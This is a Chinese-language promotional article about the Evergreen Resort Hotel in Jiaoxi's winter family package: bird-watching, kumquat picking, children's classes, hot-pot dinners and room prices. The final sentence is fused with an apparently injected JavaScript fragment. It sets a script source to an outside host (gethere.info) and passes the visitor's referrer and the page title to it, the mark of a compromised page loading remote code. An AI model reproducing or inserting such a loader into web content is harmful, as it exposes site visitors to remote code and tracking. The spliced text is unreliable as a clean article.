獲選為2016十大溫泉飯店殊榮的礁溪長榮鳳凰酒店，推出「冬．童樂會」活動包括童心大發塗鴉牆、歡樂氣球SHOW、音樂旋轉木馬DIY，更結合礁溪在地特色，要帶領大小朋友一起採金棗、賞候鳥，即日起至明年2月28日為止，一泊二食每房NT$9,000起，晚餐還可選擇煙波亭火鍋，讓造訪的每個人泡暖湯、吃火鍋，過一個歡樂溫暖的冬天。
礁溪長榮鳳凰酒店表示，時序進入冬季後，冬候鳥陸續抵達宜蘭，凡遇單日早上7點至8點30分將會帶著旅客前往礁溪時潮村賞鳥，時潮水鳥保護區是北台灣最重要的黑面琵鷺棲息地，幸運的話可看見上千隻雁鴨、高翹鳥等，場面極為壯觀。
此外，礁溪除了有知名的溫泉，也是全國最大的金棗產區，礁溪林美更是金棗的故鄉，金棗產量佔全國90%以上，是獨有農特產，旅客可以親手摘下金黃色、肥澄澄的金棗，享受農林樂趣，活動需酌收費用每位100元。
在明年1月20日至2月12日寒假期間，加價NT$2800+10%即可享「寶貝俱樂部」課程無限次數免費參加、客房歡樂帳篷屋與寶貝專屬禮籃。寶貝俱樂部是專為學齡前至12歲以內的兒童設計，小朋友可在此參加「小小廚神」、「小小魔術師」、「巧手DIY」與「夢幻小屋」等課程，家長則可盡情享用酒店設施，徹底放鬆舒壓。
除了好玩的活動外，晚餐可選桂冠自助餐廳或鳳凰麻辣鍋。鳳凰麻辣鍋可任選2種鍋底，其中「美國自然牛雪花」及「蘭陽時蔬」為無限量供應，不吃牛肉的旅客也可選擇台灣優質良豚「雲林松香豬」梅花肉，同樣能感受鮮甜肉質與香醇鍋底的完美搭配。s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;